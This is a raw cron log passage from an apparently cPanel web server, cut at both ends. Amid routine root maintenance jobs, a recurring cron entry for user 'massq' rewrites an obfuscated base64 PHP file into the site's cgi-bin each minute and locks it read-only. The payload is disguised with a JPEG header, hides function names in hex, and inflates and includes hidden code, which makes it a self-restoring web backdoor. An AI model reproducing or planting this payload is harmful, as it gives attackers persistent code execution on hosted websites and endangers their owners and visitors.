Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:16:01 server CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:17:01 server CROND[5323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:17:01 server CROND[5324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:17:01 server CROND[5325]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Aug 30 04:17:01 server CROND[5326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:18:01 server CROND[5802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:18:01 server CROND[5809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:18:01 server CROND[5803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:19:01 server CROND[6177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:19:01 server CROND[6179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:19:01 server CROND[6181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:20:01 server CROND[6559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:20:01 server CROND[6561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:20:01 server CROND[6563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:20:01 server CROND[6568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:20:01 server CROND[6572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:20:01 server CROND[6574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:20:01 server CROND[6575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:20:01 server CROND[6573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:20:01 server CROND[6571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:21:01 server CROND[7508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:21:01 server CROND[7510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:21:01 server CROND[7509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:22:01 server CROND[7881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:22:01 server CROND[7882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:22:01 server CROND[7883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:23:01 server CROND[8265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:23:01 server CROND[8266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:23:01 server CROND[8267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:24:01 server CROND[8643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:24:01 server CROND[8644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:24:01 server CROND[8645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:25:01 server CROND[9027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:25:01 server CROND[9029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:25:01 server CROND[9030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:25:01 server CROND[9033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:25:01 server CROND[9034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:25:01 server CROND[9035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:25:01 server CROND[9031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:25:01 server CROND[9036]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 04:26:01 server CROND[9992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:26:01 server CROND[9993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:26:01 server CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:27:01 server CROND[10381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:27:01 server CROND[10383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:27:01 server CROND[10384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:27:01 server CROND[10382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:28:01 server CROND[10763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:28:01 server CROND[10764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:28:01 server CROND[10765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt